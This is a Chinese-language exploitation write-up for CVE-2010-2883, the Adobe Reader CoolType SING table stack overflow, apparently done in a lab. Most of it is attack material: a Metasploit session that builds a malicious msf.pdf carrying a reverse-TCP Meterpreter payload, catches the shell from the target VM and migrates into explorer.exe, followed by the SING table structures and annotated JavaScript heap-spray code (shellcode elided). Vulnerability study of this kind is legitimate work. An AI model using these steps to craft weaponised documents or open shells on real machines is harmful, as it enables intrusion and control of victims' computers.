CVE-2010-2883漏洞分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

# 搜索exp
msf6 > search adobe_cooltype_sing

Matching Modules
================

   #  Name                                            Disclosure Date  Rank   Check  Description
   -  ----                                            ---------------  ----   -----  -----------
   0  exploit/windows/browser/adobe_cooltype_sing     2010-09-07       great  No     Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
   1  exploit/windows/fileformat/adobe_cooltype_sing  2010-09-07       great  No     Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_cooltype_sing
# 使用第二个exp
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
# 设置载荷
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
# 查看载荷选项
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > options

Module options (exploit/windows/fileformat/adobe_cooltype_sing):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     198.18.0.1       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
# tab补全自动列出本机的网卡地址
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST
set LHOST 172.16.31.1                          set LHOST en4                                  set LHOST llw0
# 选择vmware对应的网卡地址
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 172.16.31.1
LHOST => 172.16.31.1
# 设置端口
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 4444
LPORT => 4444
# 生成木马文件
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
# 将msf.pdf发送到靶机，打开即可看到meterpreter获取了shell
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /Users/xxx/.msf4/local/msf.pdf
# 配置handler
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set LHOST 172.16.31.1
LHOST => 172.16.31.1
# 等待靶机上线
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.31.1:4444
# 获取到shell会话
[*] Sending stage (175686 bytes) to 172.16.31.140
[*] Meterpreter session 60 opened (172.16.31.1:4444 -> 172.16.31.140:1403) at 2022-12-05 23:32:48 +0800
# Adobe程序会卡顿崩溃，所以需要尽快将session转移到另一个进程，这里选择exeplore.exe
meterpreter > ps

# Process List

PID PPID Name Arch Session User Path

---

2184 3640 explorer.exe x86 0 THANATOS-8649E8\Administrator C:\WINDOWS\Explorer.exe
# 转移到explorer.exe进程
meterpreter > migrate 2184
[*] Migrating from 3528 to 2184...
# 查看靶机系统信息
meterpreter > sysinfo
Computer        : THANATOS-8649E8
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

struct TableEntry
{
    char tag[4];        // 四个字符"SING"
    unsigned long checkSum;
    unsigned long offset;      // SING表的偏移量
    unsigned long length;   // SING表的长度
};

struct SING
{
    unsigned short tableVersionMajor;
    unsigned short tableVersionMinor;
    unsigned short glyphletVersion;
    unsigned short permissions;
    unsigned short mainGID;
    unsigned short unitsPerEm;
    short vertAdvance;
    short vertOrigin;
    unsigned char uniqueName[28];
    unsigned char METAMD5[16];
    unsigned char nameLength;
    unsigned char *baseGlyphName;
};

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

// payload太长了，这里省略掉。
var var_payload = unescape("escaped_payload");

// slide code 0x0c0c0c0c ==> or al,0x0c;or al,0x0c;
// 关于slide code 前面已经介绍过了
var var_c = unescape(
  "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"
);

// slide code 扩充到 0xffe4 = 65536 - 20 - 8 长度
while (var_c.length + 20 + 8 < 65536) var_c += var_c;
// 然后截取前面 0xbe8 = 0x0c0c-0x24 的长度
var_b = var_c.substring(0, (0x0c0c - 0x24) / 2);

// 在 截取的slide code 后面加上 payload
var_b += var_payload;

// 继续在后面加上扩充的slide code(长度65536)，目的是为了让整个长度大于等于65536
var_b += var_c;

// 65536 / 2 是因为js中的字符串是unicode编码，每个字符占两个字节
// 得到的字符串实际字节数量为65536
// 数据结构为：sidecode(0xbe8) + payload + sidecode
var_shellcode = var_b.substring(0, 65536 / 2);

// 将得到的shellcode(长度65536)填充为 0x80000 长度
// windows下HeapCreate创建堆大小为0x80000
// 这里shellcode实际的字节数量为：`0x100000 = 0x80000 * 2`
while (var_shellcode.length < 0x80000) var_shellcode += var_shellcode;
// 相当于16个shellcode拼接在一起， 最后一个shellcode截断长度为0xefe8， 目的是为了加速喷射，因为是精准喷射，所以不需要填充整个堆。
// unicode编码，每个字符占两个字节。截取后的字符串实际字节数量为 0xfefe8 = (0x80000 - (0x1020 - 0x08) / 2) * 2
var_3 = var_shellcode.substring(0, 0x80000 - (0x1020 - 0x08) / 2);

// 申请0x1f0块堆，填充数据。
// 填充的数据长度为 0xfefe8 + (("s" + 字符串截断符0).length)* 2 = 0xfefec
var var_4 = new Array();
for (var_i = 0; var_i < 0x1f0; var_i++) var_4[var_i] = var_3 + "s";